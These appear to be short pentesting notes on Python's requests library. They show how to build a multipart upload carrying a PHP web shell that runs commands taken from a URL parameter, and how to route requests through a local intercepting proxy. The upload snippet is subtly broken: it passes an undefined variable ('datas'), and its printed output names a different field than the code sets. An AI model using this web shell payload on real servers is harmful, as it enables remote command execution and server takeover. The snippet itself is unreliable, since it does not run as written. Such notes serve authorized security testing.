Python

To test how files are being send.

python3
>>> import requests
>>> files = [('form_image',('', '', 'application/octet-stream')), ('form_image2',('', '', 'application/octet-stream'))]                     
>>> data = {'form_filename' : "<?php exec($_GET['xmd']); ?>"}
>>> print(requests.Request('POST', 'http://example.com', files=files, data=datas).prepare().body.decode('ascii'))
#--aa766c5dccffd81cbae0acde5e979775
#Content-Disposition: form-data; name="form_image"; filename=""
#Content-Type: application/octet-stream
#
#--aa766c5dccffd81cbae0acde5e979775
#Content-Disposition: form-data; name="form_image2"; filename=""
#Content-Type: application/octet-stream
#
#--aa766c5dccffd81cbae0acde5e979775                                                           
#Content-Disposition: form-data; name="form_filedata"
#                                                                                            
#<?php exec($_GET['xmd']); ?>
                                 

Play with proxies on requests module.

Updating each request:

proxy = {"http": "http://127.0.0.1:8080"}
r = requests.post(URL, data={"hola":"si"}, proxies=proxy)

With any session:

proxy = {"http": "http://127.0.0.1:8080"}
session.proxies.update(proxy)
r = session.post(URL, data={"hola":"si"})

Or:

session.proxies = {"http": "http://127.0.0.1:8080"}
r = session.post(URL, data={"hola":"si"})